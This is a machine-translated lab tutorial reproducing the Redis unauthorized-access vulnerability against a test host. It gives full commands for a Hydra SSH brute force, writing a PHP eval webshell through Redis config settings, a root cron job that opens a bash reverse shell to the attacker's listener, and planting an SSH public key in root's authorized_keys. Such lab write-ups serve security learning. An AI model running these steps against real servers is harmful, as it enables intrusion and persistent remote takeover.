当前位置:网站首页>Redis unauthorized access vulnerability recurrence (www.hetianlab.com)
Redis unauthorized access vulnerability recurrence (www.hetianlab.com)
2022-07-25 02:23:00 【Zigzag rise】
Unauthorized access vulnerability
Unauthorized principle :
An unauthorized access vulnerability can be understood as an address requiring security configuration or permission authentication 、 Improper configuration of the authorization page leads to other users' direct access without authentication authorization, which leads to important permissions that can be operated 、 Disclosure of sensitive information such as database or website directory .
Redis Unauthorized access vulnerability
When redis service (6379) When the port is open to the public without password authentication , Any user can access without authorization redis Service and operate to obtain its data .
In this paper, three methods are used redis Unauthorized access vulnerability :
- utilize redis Write webshell;
- Use write timing task bounce shell;
- utilize redis Write ssh Public key getshell.
Environmental preparation
This machine kali:10.1.1.100
Target machine :10.1.1.200
information gathering , Environment building
- Collect information , Look for possible points

adopt nmap Port scan , The following ports are found open :
22 port :ssh Remote login
80 port :http Web Services
6379 port :redis service
See that the target machine is open 80 port , Try to access with the browser .

Through directory scanning, sensitive directories of the website are found , There is phpinfo Information disclosure .


The target machine exists 6379 namely Redis service , Try to test if there is Redis Unauthorized vulnerability :
First download Redis Client connection tools ( link ), Decompress and enter Redis Catalog , And then through make Compile , You can use Redis-cli Try to connect Redis The server :
tar -zxf redis-6.0.3.tar.gz
cd redis-6.0.3
make
- After compiling redis-cli Default generated at src Catalog , Get into src Catalog , take redis-cli Copied to the /usr/bin The directory can be executed in any directory of the terminal redis-cli:
cd src/
cp redis-cli /usr/bin
cd ../../
redis-cli -h 10.1.1.200 -p 6379

-h: Specify connected redis The server
-p: Appoint redis Server port
info: Print system information , Such as Redis Version of 、 Target system version 、 System architecture, etc
As shown in the above figure, it does exist Redis Unauthorized access vulnerability .
Hydra Brute force ssh Sign in
Prepare a dictionary .
Use hydra Blasting .

Use the blasted password for remote connection .

2.Redis Unauthorized write webshell
adopt redis Combination of data backup function WEB service , Go to WEB The root directory of the website writes a sentence, Trojan , To get WEB Website permission .
Write a sentence into the root directory of the website , There are two prerequisites , First of all : Know the absolute path of the root directory of the target website , second : Have write permission to the root directory of the target website , Through the front phpinfo Page information collection , We can know that the absolute path of the root directory of the target website is :/var/www/html
Write a sentence to the root directory of the website by executing the following command :
redis-cli -h 10.1.1.200 -p 6379 # Connect redis The server
config set dir /var/www/html # Set the placement path of database backup files
config set dbfilename shell.php # Set the file name of the backup file
set x "<?php @eval($_POST['test']);?>" # Add a key ”x”, The value is one sentence
save # preservation

Be careful : When setting the key value to one sentence Trojan , You can use the following form :
set x “\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n”
explain :”\r\n\r\n” Means line break , use Redis The written file will bring some version information , If you don't wrap lines, you may not be able to execute .
Visit the corresponding page through the browser to confirm whether the file is written successfully , It is shown as follows , Description successfully written :
Then you can connect a sentence Trojan horse through ant sword :


3.Redis Unauthorized write timed task bounced shell
- Kali Use nc Turn on monitoring ,kali Execute the following commands under the terminal :
nc -lvvp 4433
- Execute the following command to write the scheduled task
redis-cli -h 10.1.1.200 -p 6379 # Connection target redis service
set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"
# Set the content written , Add line breaks before and after the planned task to ensure that the written planned task can be parsed normally , Execute every minute /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1
config set dir /var/spool/cron # Set backup path
config set dbfilename root # Set the backup file name
save # preservation

- Wait a minute to get the target shell:

4. Redis Unauthorized write SSH Get the public key shell
The attacker is not authorized to access Redis You can use Redis Related methods , If you run Redis Of users are root user , An attacker can successfully write his public key to the /root/.ssh The folder authotrized_keys In file , Then you can log in to the target server directly without a password .
- Generate public key , By default , Generated in the user's home directory .ssh Under the table of contents :
ssh-keygen -t rsa

- Write the public key to foo.txt file , Front and back \n Line break , Avoid and Redis Mix other cached data
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

- take foo.txt Target writer ( Use redis-cli -h ip Command to connect target , write file )
cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey
- Connect Redis
redis-cli -h 10.1.1.200 -p 6379
- Set the backup file path
config set dir /root/.ssh/
- Set the name of the backup file to authorized_keys
config set dbfilename "authorized_keys"
save

- Connect to the target machine remotely
ssh [email protected] -i /root/.ssh/id_rsa

边栏推荐
- An article explains unsupervised learning in images in detail
- These 11 chrome artifacts are extremely cool to use
- PostgreSQL views tables, table indexes, views, table structures, and parameter settings
- Industrial control safety PLC firmware reverse III
- How to use ES6 async and await (basic)
- Digital commerce cloud fine chemical industry management platform integrated informatization solution
- Simulation Implementation of [STL] string class
- Google launched another "man grabbing war" for core making, and Intel's 17 year veteran joined!
- Genesis, the world's first "consumption investment" public chain, was invited to participate in consensus 2022
- Large number processing -- use case
猜你喜欢

Nacos service discovery data model

Chinese son-in-law OTA Ono became the first Asian president of the University of Michigan, with an annual salary of more than 6.5 million!

Vs2019 configuring Qt5 development environment

Consul cluster deployment

"I gave up programming and wrote a 1.3 million word hard science fiction."

Hbuilderx developed by uni app connects to night God simulator

Jsonp solves cross domain plug-ins (JS, TS)

Digital power supply -- Chapter 1

Scalar, vector, matrix calculus

MySQL advanced (13) command line export import database
随机推荐
Coal industry supply chain centralized mining system: digitalization to promote the transformation and upgrading of coal industry
Codeforces:d1. choosing carrots (easy version) [max min problem + control one side to make the other side as close as possible + thinking]
H5 common positioning function package
[hero planet July training leetcode problem solving daily] 20th BST
Chinese son-in-law OTA Ono became the first Asian president of the University of Michigan, with an annual salary of more than 6.5 million!
[leetcode] 3. Longest substring without repeated characters - go language problem solution
After upgrading v2.1.0, the synchronization failed
Summary thinking caused by the function of a SMS verification code [easy to understand]
"Ask the sky" is in place! Yu Jingchuan's "China Space Station" in 2013 is about to set sail in the sea of stars
Common functional interfaces_ Predicate interface_ Default method and and predicate interface exercise_ Set interface filtering
It's still a synchronization problem
When executing SQL query statements in MySQL database, the underlying implementation principle (ultra detailed)
How to use ES6 async and await (basic)
YuQue - a useful tool for document writing and knowledge precipitation
Inventory of well-known source code mall systems at home and abroad
Experienced the troubleshooting and solution process of an online CPU100% and the application of oom
xts performance auto fix script
Speed comparison between 64 bit width and 32 bit width of arm64 memory
Large number processing -- use case
Mobile Robotics (3) Kalman filter